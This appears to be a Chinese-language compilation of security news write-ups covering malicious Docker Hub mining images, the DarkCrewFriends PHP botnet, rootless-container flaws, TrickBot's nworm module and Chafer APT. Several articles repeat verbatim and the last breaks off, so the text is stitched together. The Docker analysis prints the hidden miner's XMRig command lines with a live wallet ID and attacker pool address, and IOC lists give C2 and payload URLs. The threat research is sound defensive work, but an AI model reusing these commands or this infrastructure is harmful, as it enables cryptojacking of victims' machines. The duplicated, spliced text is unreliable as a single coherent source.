过去几年中Docker容器作为打包软件应用的有效方法受到大家青睐,Docker Hub为用户和公司提供了强大的community模型来共享软件应用。但这也吸引了攻击者的注意,他们在Docker容器内进行劫持并使用Docker Hub传播镜像来获利。

发现

目前已经确定了一个恶意Docker Hub帐户azurenql,该帐户自2019年10月以来一直保持活跃。该帐户托管了六个挖矿(Monero)恶意映像,挖掘代码通过ProxyChains和Tor匿名化工具逃避网络检测。
此帐户上托管的镜像已被下载超过200万次,其中一个钱包ID已赚取超过525.38 XMR,相当于36,000美元,在minexmr.com上查看该钱包ID时,发现该钱包仍在使用中。下表提供了此Docker Hub帐户下所有镜像的摘要,并按其提取次数降序排列。 
排名第一的镜像已被下载147万多次。

分析

镜像搭建

为了了解如何构建镜像,研究人员构建了azurenql /227_135:442镜像:
1、使用Ubuntu 16.04.6 LTS作为“基础镜像”。
2、安装所需依赖项,例如gcc,make,python等。
3、安装Tor匿名化流量,默认端口9050。
 

脚本分析

镜像中包含一个名为dao.py的自定义Python脚本,该脚本负责启动容器内的挖矿进程。
 "Entrypoint": [
                "/bin/sh",
                "-c",
                "python /etc/dao.py"
],​
表1中提到的所有Docker映像都包含此dao.py脚本,脚本之间的区别是使用不同的XMRig命令行进行调用。 表2列出了不同的XMRig命令行调用。

dao.py脚本执行流程:
1、查找系统上的CPU内核数;
2、设置hugepages系统属性以提高hash rate;

3、安装Tor并建立依赖关系;

4、如果尚未安装proxychains-ng,从https://github.com/rofl0r/proxychains-ng.git安装;
5、如果/usr/local/bin中不存在XMRig二进制文件(“ dlls”),从https://github.com/nguyennhatduy2608/azures/raw/master/下载;
6、在/usr/local/bin and /usr/bin下对XMRig二进制文件(“dll”)进行符号链接;
7、后台启动Tor;
8、通过代理启动矿工,矿工将通过本地Tor SOCKS代理矿工流量。
工作流程图如下:

挖矿方式

镜像利用受害系统的处理能力来验证交易,主要使用两种方法在用户环境中挖掘区块。第一种方法是使用钱包ID将已开采的区块直接提交到中央minexmr池。
os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o 
stratum+tcp://pool.minexmr.com:4444 -u 
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')
在Monero矿池(minexmr.com)上查找该钱包ID的交易时发现其仍在使用。下图显示了该钱包在2020年4月和2020年5月的活动。
下图表明此钱包ID已赚取525.38 XMR,大约相当于36,000美元。

第二种方法是将实例部署在运行自己的挖掘池服务上。
os.system ('proxychains4 ' + program + ' --donate-level 1 -o 
stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))

总结

Docker为打包软件提供了便捷方式,攻击者将其与挖矿结合,把恶意镜像分发到任何支持Docker的机器,并使用其计算资源进行挖矿。
目前发现的恶意镜像签名详细信息是:
用户应避免从不受信任的存储库中提取或使用基本镜像。

IOCs

镜像

挖矿基础设施

Wallet ID
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf
Hostname:Port
73avhutb24chfsh6[.]onion:442
5pwcq42aa42fjzel[.]onion:442
pool[.]minexmr.com:4444
IP:Port
66[.]42.93.164:442
155[.]138.234.122:442
155[.]138.227.135:442
66[.]42.53.57:442
144[.]202.23.108:4444
dao.py script hashes
3a04405e8377dd1f159949e8acb0fa590fff965a871dc7cdc434216a4c253d1f
937d59ca356cac225c66b956d521ceaf60a4830584eea7941e378087391e0d8b
b7e07fc8eaed7b1abbd70a5b8b7b885a1dd0012498e9389b9db9fdc46cd26ef9
de518f16907ee056af49f60f098101a97cad7bcf76833169bbdfd89c06b6da93
81496a54fe3f9a7aace5b282e42853002fa2fde74a8782205edbd0106b0b8acd
5d1cb23f8f0ecd82769e9d346a06851927ac9738af1d0173c85f5457ffbde71c
Docker Hub account
hub.docker.com/u/azurenql

参考来源

unit42

 
 
 
 
 
 
 

过去几年中Docker容器作为打包软件应用的有效方法受到大家青睐,Docker Hub为用户和公司提供了强大的community模型来共享软件应用。但这也吸引了攻击者的注意,他们在Docker容器内进行劫持并使用Docker Hub传播镜像来获利。

发现

目前已经确定了一个恶意Docker Hub帐户azurenql,该帐户自2019年10月以来一直保持活跃。该帐户托管了六个挖矿(Monero)恶意映像,挖掘代码通过ProxyChains和Tor匿名化工具逃避网络检测。
此帐户上托管的镜像已被下载超过200万次,其中一个钱包ID已赚取超过525.38 XMR,相当于36,000美元,在minexmr.com上查看该钱包ID时,发现该钱包仍在使用中。下表提供了此Docker Hub帐户下所有镜像的摘要,并按其提取次数降序排列。 
排名第一的镜像已被下载147万多次。

分析

镜像搭建

为了了解如何构建镜像,研究人员构建了azurenql /227_135:442镜像:
1、使用Ubuntu 16.04.6 LTS作为“基础镜像”。
2、安装所需依赖项,例如gcc,make,python等。
3、安装Tor匿名化流量,默认端口9050。
 

脚本分析

镜像中包含一个名为dao.py的自定义Python脚本,该脚本负责启动容器内的挖矿进程。
 "Entrypoint": [
                "/bin/sh",
                "-c",
                "python /etc/dao.py"
],​
表1中提到的所有Docker映像都包含此dao.py脚本,脚本之间的区别是使用不同的XMRig命令行进行调用。 表2列出了不同的XMRig命令行调用。

dao.py脚本执行流程:
1、查找系统上的CPU内核数;
2、设置hugepages系统属性以提高hash rate;

3、安装Tor并建立依赖关系;

4、如果尚未安装proxychains-ng,从https://github.com/rofl0r/proxychains-ng.git安装;
5、如果/usr/local/bin中不存在XMRig二进制文件(“ dlls”),从https://github.com/nguyennhatduy2608/azures/raw/master/下载;
6、在/usr/local/bin and /usr/bin下对XMRig二进制文件(“dll”)进行符号链接;
7、后台启动Tor;
8、通过代理启动矿工,矿工将通过本地Tor SOCKS代理矿工流量。
工作流程图如下:

挖矿方式

镜像利用受害系统的处理能力来验证交易,主要使用两种方法在用户环境中挖掘区块。第一种方法是使用钱包ID将已开采的区块直接提交到中央minexmr池。
os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o 
stratum+tcp://pool.minexmr.com:4444 -u 
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')
在Monero矿池(minexmr.com)上查找该钱包ID的交易时发现其仍在使用。下图显示了该钱包在2020年4月和2020年5月的活动。
下图表明此钱包ID已赚取525.38 XMR,大约相当于36,000美元。

第二种方法是将实例部署在运行自己的挖掘池服务上。
os.system ('proxychains4 ' + program + ' --donate-level 1 -o 
stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))

总结

Docker为打包软件提供了便捷方式,攻击者将其与挖矿结合,把恶意镜像分发到任何支持Docker的机器,并使用其计算资源进行挖矿。
目前发现的恶意镜像签名详细信息是:
用户应避免从不受信任的存储库中提取或使用基本镜像。

IOCs

镜像

挖矿基础设施

Wallet ID
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf
Hostname:Port
73avhutb24chfsh6[.]onion:442
5pwcq42aa42fjzel[.]onion:442
pool[.]minexmr.com:4444
IP:Port
66[.]42.93.164:442
155[.]138.234.122:442
155[.]138.227.135:442
66[.]42.53.57:442
144[.]202.23.108:4444
dao.py script hashes
3a04405e8377dd1f159949e8acb0fa590fff965a871dc7cdc434216a4c253d1f
937d59ca356cac225c66b956d521ceaf60a4830584eea7941e378087391e0d8b
b7e07fc8eaed7b1abbd70a5b8b7b885a1dd0012498e9389b9db9fdc46cd26ef9
de518f16907ee056af49f60f098101a97cad7bcf76833169bbdfd89c06b6da93
81496a54fe3f9a7aace5b282e42853002fa2fde74a8782205edbd0106b0b8acd
5d1cb23f8f0ecd82769e9d346a06851927ac9738af1d0173c85f5457ffbde71c
Docker Hub account
hub.docker.com/u/azurenql

参考来源

unit42

 
 
 
 
 
 
 

Check Point研究人员最近发现黑客组织“DarkCrewFriends”发起的攻击活动,其主要目的是利用存在漏洞的PHP服务器组建僵尸网络。攻击主要利用文件上传漏洞,上传恶意PHP web shell并使用IRC通道与C&C服务器通信。攻击者可以利用植入的恶意软件发起DDoS攻击或远程执行命令。

攻击分析

攻击链

攻击链示意图如下:
分析中发现受害者服务器上有一个PHP后门,攻击者向存在漏洞的目标服务器发送请求,绕过服务器的文件扩展名检查的同时上传任意文件,最终可在目标系统上执行任意代码,其中一个漏洞就是由DarkCrewFriends创建并发布,如下图。

PHP后门

攻击者在受害者的服务器上传了以下web shell。
代码定义了名为osc的参数,执行解压缩后的base64字符串,另一个版本的PHP后门中定义了名为anon的参数。成功上传文件后返回值如下:

解码后程序如下:

恶意文件下载

后门初始化后,攻击者调用osc的参数,执行以下代码:
解码字符串后发现了下载和执行两个.aff文件的命令,最后会删除所有.aff文件。解码后命令如下:
下载了这两个.aff文件发现实际上是PHP和Perl文件,攻击者隐藏文件扩展名避免被检测。从攻击日志中获得了攻击者的源IP地址190.145.107.220,相关联域名为lubrisana[.]com。
研究人员还调查了pkalexeivic[.]com域的历史记录,该域曾用于存储恶意的.aff文件,并发现时间上存在相似之处。

恶意软件分析

攻击者使用的恶意软件具有如下功能:
1、同时开启多个进程
2、暂停脚本执行,避免被检测
3、远程执行命令
4、提取主机上所有正在运行的服务
5、下载上传FTP文件
6、扫描端口
7、发起多种类型DDOS攻击
8、执行多个IRC命令
恶意软件使用IRC协议进行通信,攻击者可在IRC信道中执行各种命令。
DDoS攻击类型会通过PRIVMSG(IRC用户之间传输的私人消息)发送给攻击者,并从C&C回复中获取所需的操作。
攻击者利用以下函数下载并执行文件,在目标系统上执行代码:
攻击者还可以在受影响的计算机上执行shell命令,命令由C&C服务器发送:
上传下载代码如下:
分析中发现恶意软件变种在网上广泛传播:
Github源码:

攻击者调查

根据代码和情报分析,这次攻击与黑客组织DarkCrewFriends有关。以下是一些线索:
DarkCrewFriends在web shell代码中的签名:
bot admin中的realname字段:
该组织曾与一家意大利新闻网站的黑客攻击活动有关:
在黑客论坛中进行了更深入的搜索后找到名为“ SOULDRK”的用户,该用户公开了该组织的漏洞利用情况。 在查看黑客论坛中该用户的帖子时,推测该用户使用的可能是意大利语。
该组织提供不同的服务,所有的服务都有明确定价,付款仅以BTC为单位。 这些帖子发布于2013年至2015年之间,2019年9月发现以下最新帖子:

IOCs

C&C server

182[.]53.220.81

Domains

pkalexeivic[.]com

Files hashes

52fed95c6428ceca398d601a0f0a6a36dedb51799ae28f56f4e789917226dd84
0f3062e22d8facfa05e6e6a1299b34d6bcbf7c22aa65241f6e332b71dcc80e15

参考来源

checkpoint

 
 
 
 
 
 
 

Check Point研究人员最近发现黑客组织“DarkCrewFriends”发起的攻击活动,其主要目的是利用存在漏洞的PHP服务器组建僵尸网络。攻击主要利用文件上传漏洞,上传恶意PHP web shell并使用IRC通道与C&C服务器通信。攻击者可以利用植入的恶意软件发起DDoS攻击或远程执行命令。

攻击分析

攻击链

攻击链示意图如下:
分析中发现受害者服务器上有一个PHP后门,攻击者向存在漏洞的目标服务器发送请求,绕过服务器的文件扩展名检查的同时上传任意文件,最终可在目标系统上执行任意代码,其中一个漏洞就是由DarkCrewFriends创建并发布,如下图。

PHP后门

攻击者在受害者的服务器上传了以下web shell。
代码定义了名为osc的参数,执行解压缩后的base64字符串,另一个版本的PHP后门中定义了名为anon的参数。成功上传文件后返回值如下:

解码后程序如下:

恶意文件下载

后门初始化后,攻击者调用osc的参数,执行以下代码:
解码字符串后发现了下载和执行两个.aff文件的命令,最后会删除所有.aff文件。解码后命令如下:
下载了这两个.aff文件发现实际上是PHP和Perl文件,攻击者隐藏文件扩展名避免被检测。从攻击日志中获得了攻击者的源IP地址190.145.107.220,相关联域名为lubrisana[.]com。
研究人员还调查了pkalexeivic[.]com域的历史记录,该域曾用于存储恶意的.aff文件,并发现时间上存在相似之处。

恶意软件分析

攻击者使用的恶意软件具有如下功能:
1、同时开启多个进程
2、暂停脚本执行,避免被检测
3、远程执行命令
4、提取主机上所有正在运行的服务
5、下载上传FTP文件
6、扫描端口
7、发起多种类型DDOS攻击
8、执行多个IRC命令
恶意软件使用IRC协议进行通信,攻击者可在IRC信道中执行各种命令。
DDoS攻击类型会通过PRIVMSG(IRC用户之间传输的私人消息)发送给攻击者,并从C&C回复中获取所需的操作。
攻击者利用以下函数下载并执行文件,在目标系统上执行代码:
攻击者还可以在受影响的计算机上执行shell命令,命令由C&C服务器发送:
上传下载代码如下:
分析中发现恶意软件变种在网上广泛传播:
Github源码:

攻击者调查

根据代码和情报分析,这次攻击与黑客组织DarkCrewFriends有关。以下是一些线索:
DarkCrewFriends在web shell代码中的签名:
bot admin中的realname字段:
该组织曾与一家意大利新闻网站的黑客攻击活动有关:
在黑客论坛中进行了更深入的搜索后找到名为“ SOULDRK”的用户,该用户公开了该组织的漏洞利用情况。 在查看黑客论坛中该用户的帖子时,推测该用户使用的可能是意大利语。
该组织提供不同的服务,所有的服务都有明确定价,付款仅以BTC为单位。 这些帖子发布于2013年至2015年之间,2019年9月发现以下最新帖子:

IOCs

C&C server

182[.]53.220.81

Domains

pkalexeivic[.]com

Files hashes

52fed95c6428ceca398d601a0f0a6a36dedb51799ae28f56f4e789917226dd84
0f3062e22d8facfa05e6e6a1299b34d6bcbf7c22aa65241f6e332b71dcc80e15

参考来源

checkpoint

 
 
 
 
 
 
 

随着云计算的发展,容器变得越来越流行,同时也产生了实现容器的新方案,其中之一就是无根容器。无根容器是不需要root即可创建得容器,尽管无根容器在安全方面具有优势,但它们仍在测试开发中。本文介绍了无根容器的内部结构,并分析了无根容器网络组件中的漏洞。

无根容器

无根容器与常规容器相同,区别在于它们不需要root即可形成。无根容器仍处于早期阶段,无根容器出现的原因有很多。

1、添加新的安全层。 如果容器运行时受到攻击,攻击者将无法获得主机的root特权。

2、允许多个非特权用户在同一台计算机上运行容器。

3、允许隔离嵌套容器。

Linux内核的一项新开发使此方案成为可能,允许无特权的用户创建新的用户空间。 当用户创建并输入新的用户空间时,他将成为该空间的root用户,并获得生成容器所需的大多数特权。

网络连接

为了允许容器联网,通常创建虚拟以太网设备(VETH)负责联网。 但只有root才有权创建此类设备,主要的解决方案是Slirp和LXC-user-nic。

Slirp

Slirp最初被设计为面向非特权用户的Internet连接。 随着时间的流逝,它成为虚拟机和仿真器(包括著名的QEMU)的网络堆栈,可对其修改调整以启用无根容器中网络连接。它把容器用户和网络名称空间分开并创默认路由设备。 然后,它将设备的文件传递给默认网络名称空间的父级,使其可以与容器和Internet进行通信。

image.pngLXC-User-Nic

另一种方法是运行setuid创建VETH设备。 尽管它可以启用容器内的联网功能,但是它会要求容器文件以root权限运行。

存储管理

容器的复杂元素之一是存储管理。 默认情况下,容器使用Overlay2(或Overlay)创建文件系统,但是无根容器不能做到这一点,大多数Linux不允许在用户名称空间中安装overlay文件系统。解决方案是使用其他驱动程序,例如VFS存储驱动程序。虽然有效但效率低。更好的解决方案是创建新的存储驱动程序,适应无根容器的需求。 

兼容状态

以下容器引擎支持以下组件无根容器:

image.png

安全分析

从安全角度来看,无根容器中的漏洞还是配置错误都会导致容器中软件受到破坏,应该始终以有限特权运行软件,当漏洞产生时,影响将降至最低。LXE-user-nic具有多个漏洞,攻击者可利用漏洞提权,例如CVE-2017-5985和CVE-2018-6556。Slirp近年来也披露了多个漏洞。

Slirp – CVE-2020-1983

在对该软件进行模糊测试时,发现了一个可能导致Slirp崩溃的漏洞。该漏洞分配编号为CVE-2020-1983。

这个问题与Slirp如何管理IP碎片有关。 IP数据包的最大大小为65,535字节,错误是Slirp无法验证分段IP数据包的大小,当它对大于65,535的数据包进行分段时就会会崩溃。

libslirp中的其他漏洞可在容器上执行代码,甚至可从容器逃逸到主机以及其他容器。2020年发现了两个此类漏洞:CVE-2020-8608和CVE-2020-7039,受影响的Slirp版本是4.0.0至4.2.0。

总结

无根容器提供了一种新的容器解决方案,该方法增加了安全层。 它会成为云容器中的下一个演变方向。虽然无根容器仍然存在许多局限性,其功能仍处于试验开发中,随着时间和技术的发展,无根容器可以完全发挥作用并代替传统容器。

参考来源

trendmicro

TrickBot于2016年被首次发现,其主要目的是窃取目标主机数据,安装恶意软件后门。TrickBot拥有不同的功能模块,可从受感染的Windows客户端传感染DC。在2020年4月,TrickBot将其传播模块“mworm”更新为“nworm”。nworm不会在DC上留下任何痕迹,服务器重新启动或关闭后会消失。

新nworm模块主要包括:

加密可执行文件和网络通信流量(旧mworm模块没有任何类型的加密/编码)

TrickBot感染从RAM运行,不可持久存在

通过RAM运行以逃避受感染DC的检测

本文回顾了TrickBot模块,并详细地介绍了新nworm模块的特性。

TrickBot模块

TrickBot可以模块化安装运行,感染期间可加载各种二进制文件执行不同功能。 在大多数情况下,TrickBot感染的基础是保存在磁盘的恶意Windows可执行文件(EXE)。 此EXE通常称为“ TrickBot加载程序”,可加载TrickBot模块。 TrickBot模块是从系统内存运行的动态链接库(DLL)或EXE。

在受感染的Windows 10主机上,TrickBo仅出现在系统内存中。在受感染的Windows 7主机上,在磁盘中会存储的相关模块。 在TrickBot感染期间,加密的二进制文件将作为TrickBot模块解密并从系统内存中运行。 下图显示了2020年1月Windows 7 TrickBot模块工件示例。

文件名称以64结尾,说明该主机运行的是Windows 7 64位版本。如果感染发生在32位Windows 7主机上,这些文件名称将以32而不是64结尾。

TrickBot在Active Directory(AD)环境中扩展到DC的三个模块:

mwormDll64(“ mworm”模块)

mshareDll64(“ mshare”模块)

tabDll64(“标签”模块)

传播模块

具有传播功能的TrickBot模块为mworm,mshare和tab,mshare和tab模块:

受感染的Windows客户端使用HTTP URL检索新的TrickBot EXE

受感染的Windows客户端通过SMB将新的TrickBot EXE发送到易受攻击的DC

对于mworm模块:

受感染的Windows客户端对易受攻击的DC进行SMB攻击。

易受攻击的DC使用HTTP URL检索新的TrickBot EXE并感染自身。

除非在带有DC的AD环境中发生TrickBot感染,否则通常不会显示mworm模块。

下图显示了这三个TrickBot模块的传播流程图:

自2020年2月以来,这些模块生成的URL遵循以下模式:

mshare模块以/images/cursor.png结尾

mworm模块以/images/redcar.png结尾

tab模块以/images/imgpaper.png结尾

这些URL使用IP地址而不是域。 下图显示了2020年3月TrickBot感染流量:

新模块分析

2020年4月TrickBot停止使用mworm模块,取而代之的是名为“nworm”的模块出现在受感染的Windows 7客户端上。下图显示了这种新的nworm模块:

nworm的HTTP流量与mworm流量明显不同:

mworm:TrickBot EXE的URL以/images/redcar.png结尾

nworm:TrickBot EXE的URL以/ico/VidT6cErs结尾

mworm:HTTP流量中TrickBot EXE未加密

nworm:TrickBot EXE会在HTTP流量中加密编码

使用Wireshark检查TCP流,可以发现mworm模块和nworm模块HTTP流差异。

下图显示了当前的传播流程,突出显示了nworm模块变化:

不持久性

nworm感染易受攻击的DC时,恶意软件将从内存中启动。受感染的DC上未发现任何攻击痕迹,但DC上的TrickBot重新后会消失。mshare和tab感染易受攻击的DC时,DC重启后仍然持续存在。对于TrickBot而言,重启后消失并不是急需解决的问题,因为DC是一台服务器,服务器很少像Windows客户端那样关闭或重新启动。

Gtag标识

每个TrickBot都有一个gtag标识符,可从TrickBot二进制文件配置数据中找到。在TrickBot感染期间,也可以在HTTP流量中找到Gtag。

Gtag是一个短字母字符串,后跟一个数字表示序列。示例如下:

mor系列gtag:由Emotet感染引起的TrickBot,例如:TrickBot gtag mor84是由Emotet在2020年1月27日感染的。

ono系列gtag:TrickBot通过恶意Microsoft Office文档(如Word文档或Excel电子表格)传播的。

red系列gtag:TrickBot以DLL文件而不是EXE的形式传播,例如:2020年3月17日记录的TrickBot gtag red5。

TrickBot模块使用的TrickBot二进制文件的Gtag是唯一的。

tot系列gtag:mshare模块使用的TrickBot二进制文件

jim系列gtag:nworm(和旧的mworm)模块使用的TrickBot二进制文件

lib系列gtag:tab模块使用的TrickBot二进制文件

下图显示了2020年4月20日Wireshark中的gtag。其中Windows客户端为10.4.20.101,DC为10.4.20.4。

IOCs

HTTP URLs

2020-04-20 – nworm – hxxp://107.172.221[.]106/ico/VidT6cErs

2020-04-20 – mshare – hxxp://107.172.221[.]106/images/cursor.png

2020-04-20 – tab – hxxp://107.172.221[.]106/images/imgpaper.png

2020-05-08 – nworm – hxxp://23.95.227[.]159/ico/VidT6cErs

2020-05-08 – mshare – hxxp://23.95.227[.]159/images/cursor.png

2020-05-08 – tab – hxxp://23.95.227[.]159/images/imgpaper.png

nwormDll64 (Windows 7 client April 24th 2020)

900aa025bf770102428350e584e8110342a70159ef2f92a9bfd651c5d8e5f76b

nwormDll64(Windows 7 client May 8th 2020)

85d88129eab948d44bb9999774869449ab671b4d1df3c593731102592ce93a70

参考来源

unit42

*本文作者:Kriston,转载请注明来自FreeBuf.COM

TrickBot于2016年被首次发现,其主要目的是窃取目标主机数据,安装恶意软件后门。TrickBot拥有不同的功能模块,可从受感染的Windows客户端传感染DC。在2020年4月,TrickBot将其传播模块“mworm”更新为“nworm”。nworm不会在DC上留下任何痕迹,服务器重新启动或关闭后会消失。

新nworm模块主要包括:

加密可执行文件和网络通信流量(旧mworm模块没有任何类型的加密/编码)

TrickBot感染从RAM运行,不可持久存在

通过RAM运行以逃避受感染DC的检测

本文回顾了TrickBot模块,并详细地介绍了新nworm模块的特性。

TrickBot模块

TrickBot可以模块化安装运行,感染期间可加载各种二进制文件执行不同功能。 在大多数情况下,TrickBot感染的基础是保存在磁盘的恶意Windows可执行文件(EXE)。 此EXE通常称为“ TrickBot加载程序”,可加载TrickBot模块。 TrickBot模块是从系统内存运行的动态链接库(DLL)或EXE。

在受感染的Windows 10主机上,TrickBo仅出现在系统内存中。在受感染的Windows 7主机上,在磁盘中会存储的相关模块。 在TrickBot感染期间,加密的二进制文件将作为TrickBot模块解密并从系统内存中运行。 下图显示了2020年1月Windows 7 TrickBot模块工件示例。

文件名称以64结尾,说明该主机运行的是Windows 7 64位版本。如果感染发生在32位Windows 7主机上,这些文件名称将以32而不是64结尾。

TrickBot在Active Directory(AD)环境中扩展到DC的三个模块:

mwormDll64(“ mworm”模块)

mshareDll64(“ mshare”模块)

tabDll64(“标签”模块)

传播模块

具有传播功能的TrickBot模块为mworm,mshare和tab,mshare和tab模块:

受感染的Windows客户端使用HTTP URL检索新的TrickBot EXE

受感染的Windows客户端通过SMB将新的TrickBot EXE发送到易受攻击的DC

对于mworm模块:

受感染的Windows客户端对易受攻击的DC进行SMB攻击。

易受攻击的DC使用HTTP URL检索新的TrickBot EXE并感染自身。

除非在带有DC的AD环境中发生TrickBot感染,否则通常不会显示mworm模块。

下图显示了这三个TrickBot模块的传播流程图:

自2020年2月以来,这些模块生成的URL遵循以下模式:

mshare模块以/images/cursor.png结尾

mworm模块以/images/redcar.png结尾

tab模块以/images/imgpaper.png结尾

这些URL使用IP地址而不是域。 下图显示了2020年3月TrickBot感染流量:

新模块分析

2020年4月TrickBot停止使用mworm模块,取而代之的是名为“nworm”的模块出现在受感染的Windows 7客户端上。下图显示了这种新的nworm模块:

nworm的HTTP流量与mworm流量明显不同:

mworm:TrickBot EXE的URL以/images/redcar.png结尾

nworm:TrickBot EXE的URL以/ico/VidT6cErs结尾

mworm:HTTP流量中TrickBot EXE未加密

nworm:TrickBot EXE会在HTTP流量中加密编码

使用Wireshark检查TCP流,可以发现mworm模块和nworm模块HTTP流差异。

下图显示了当前的传播流程,突出显示了nworm模块变化:

不持久性

nworm感染易受攻击的DC时,恶意软件将从内存中启动。受感染的DC上未发现任何攻击痕迹,但DC上的TrickBot重新后会消失。mshare和tab感染易受攻击的DC时,DC重启后仍然持续存在。对于TrickBot而言,重启后消失并不是急需解决的问题,因为DC是一台服务器,服务器很少像Windows客户端那样关闭或重新启动。

Gtag标识

每个TrickBot都有一个gtag标识符,可从TrickBot二进制文件配置数据中找到。在TrickBot感染期间,也可以在HTTP流量中找到Gtag。

Gtag是一个短字母字符串,后跟一个数字表示序列。示例如下:

mor系列gtag:由Emotet感染引起的TrickBot,例如:TrickBot gtag mor84是由Emotet在2020年1月27日感染的。

ono系列gtag:TrickBot通过恶意Microsoft Office文档(如Word文档或Excel电子表格)传播的。

red系列gtag:TrickBot以DLL文件而不是EXE的形式传播,例如:2020年3月17日记录的TrickBot gtag red5。

TrickBot模块使用的TrickBot二进制文件的Gtag是唯一的。

tot系列gtag:mshare模块使用的TrickBot二进制文件

jim系列gtag:nworm(和旧的mworm)模块使用的TrickBot二进制文件

lib系列gtag:tab模块使用的TrickBot二进制文件

下图显示了2020年4月20日Wireshark中的gtag。其中Windows客户端为10.4.20.101,DC为10.4.20.4。

IOCs

HTTP URLs

2020-04-20 – nworm – hxxp://107.172.221[.]106/ico/VidT6cErs

2020-04-20 – mshare – hxxp://107.172.221[.]106/images/cursor.png

2020-04-20 – tab – hxxp://107.172.221[.]106/images/imgpaper.png

2020-05-08 – nworm – hxxp://23.95.227[.]159/ico/VidT6cErs

2020-05-08 – mshare – hxxp://23.95.227[.]159/images/cursor.png

2020-05-08 – tab – hxxp://23.95.227[.]159/images/imgpaper.png

nwormDll64 (Windows 7 client April 24th 2020)

900aa025bf770102428350e584e8110342a70159ef2f92a9bfd651c5d8e5f76b

nwormDll64(Windows 7 client May 8th 2020)

85d88129eab948d44bb9999774869449ab671b4d1df3c593731102592ce93a70

参考来源

unit42

*本文作者:Kriston,转载请注明来自FreeBuf.COM

ChaferAPT组织隶属于伊朗,自2014年以来一直处于活跃状态,专注于网络间谍活动。 Bitdefender发现该组织2018年开始针对中东关键基础设施进行攻击,攻击中使用了多种工具、定制后门等。

攻击主要针对航空运输和政府部门,攻击者多在周末进行攻击。在针对科威特的攻击中,攻击者创建了自己的用户帐户,针对沙特的攻击主要依靠社会工程学,两种攻击的最终目标都是窃取数据。

攻击链分析

科威特

最初发现了一些反向TCP文件和PowerShell命令,攻击者可能使用恶意文档攻击受害者,并利用鱼叉式电子邮件进行传播。攻击者会在目标上使用侦察工具进行网络扫描(“ xnet.exe”,“ shareo.exe”)和凭证收集(如“ mnl.exe”或“ mimi32.exe”)或其他功能工具,例如CrackMapExec(用于用户枚举,共享列表,凭据收集等)。这些工具可帮助攻击者在网络内部横向移动。

攻击者使用psexec或使用RDP协议进行远程服务安装,一旦攻击成功便开始安装自定义模块:经过修改的Plink(wehsvc.exe)以及后门( imjpuexa.exe)。攻击者会在受害者的计算机上创建用户,并使用该用户在网络内部执行恶意操作。

大多数活动发生在周五和周六,与中东的周末相吻合。 观察到以下顺序:在其中一台机器上部署修改后的PuTTY工具(“ wehsvc.exe”); 四天后在同一系统上创建一个特定用户; 除了上述工具外,在该用户下还发现了rdpwinst(rdp会话管理),Smartftp Password Decryptor(安装程序)和 Navicat Premium等。

攻击者通过代理工具(“ mfevtpse.exe”和“ mini.exe”)或后门与受害者保持通信,其中一次攻击时间线如下所示。

沙特阿拉伯攻击链

攻击者最初是通过社会工程学攻击目标。RAT组件位于%Download%文件夹中,RAT执行了两次,两次执行相隔三分钟,使用不同的名称(“ drivers.exe”和“ drivers_x64.exe”)。使用“ etblscanner.exe”进行内部网络侦察。另外还发现了三种不同的RAT组件,其中一个组件“ snmp.exe”也以“ imjpuexa.exe”出现在科威特的某些受害者身上,攻击时间线如下:

工具分析

攻击者使用“the Non-Sucking”服务管理器来确保其关键组件(例如代理或RAT)已启动运行。 他们还使用Sysinternals工具(例如psexec)在受害者网络中横向移动,使用“ schtasks.exe”确保持久性,“ tasklist”用于测试持久性,“ nslookup”用于DNS通信,查询TXT记录。

发现了不同阶段使用的黑客工具,如Mimikatz、SafetyKatz或定制工具。利用所获得的凭据与psexec工具获取对特定计算机的访问权。 一些受感染的系统还包含Metasploit框架的shellcode片段,例如reverse_tcp,连接到不同的内部IP地址。另一个工具CrackMapExec,具有网络扫描等功能;发现PLINK修改版本,它可以作为Windows服务运行或卸载;发现了一个用C++编写的命令行工具,可作为代理使用。

在攻击过程中还观察到Python(可能是3.4版)编写的RAT。该工具具有两种通信类型(“ DNS”和“ HTTP”),工具的文件名是“ snmp.exe”,“ imjpuexa.exe”和“ driver_x86.exe”,硬编码的标头可如下:

HTTP通信请求标头“ GET / owa HTTP / 1.1 \ r \ nHost:live.com”和响应标头“ HTTP / 1.1 200 OK”。

此攻击中使用的另一个命令行工具“ xnet.exe”,它与nbtscan工具非常相似,可从计算机上网络适配器获取要扫描的IP范围。 还观察到C#工具(“shareo.exe”),该工具可获得指定IP范围内每台计算机的NetBIOS名称。

发现名为“ mas.dll”的后门,此文件与“xnet.exe”之间存在联系:

“F:\Projects\94-06\RCE\bin\Release\x64\mas.pdb” – “mas.dll”

“F:\Projects\94-08\XNet\bin\Release\Win32\XNet.pdb”) – “xnet.exe”

MITRE matrix TTPs

持久化

T1050 “New Service”:

“wehsvc.exe” 创建 “imjpuexa.exe” 修改注册表 “HKLM\system\controlset001\services\microsoft updating\parameters\application”

T1053 “Scheduled Task”:

“MSCService.exe” 、“DBXService.exe”

T1136 “Create Account”:

创建用户

内网探测

T1016 “System Network Configuration Discovery”:

“xnet.exe”

C&C

T1090 “Connection Proxy”:

“mini.exe”、“mfevtpse.exe”、“mfevtps.exe”以及修改的Plink

防御检测

T1045 “Software packing”

“mfevtpse.exe”

T1036 “Masquerading”

“DBXService.exe”、 “MSCService.exe”

命令执行

T1059 “Command line interface”

凭证访问

T1003 “Credential Dumping”

Mimikatz

附录

参考来源

bitdefender

*本文作者:Kriston,转载请注明来自FreeBuf.COM

Tropic Trooper组织自2011年来,主要针对台湾,菲律宾、香港的政府,军事,医疗保健,运输和高科技行业进行攻击。该组织使用带有恶意附件的鱼叉式网络钓鱼邮件为主要手段。

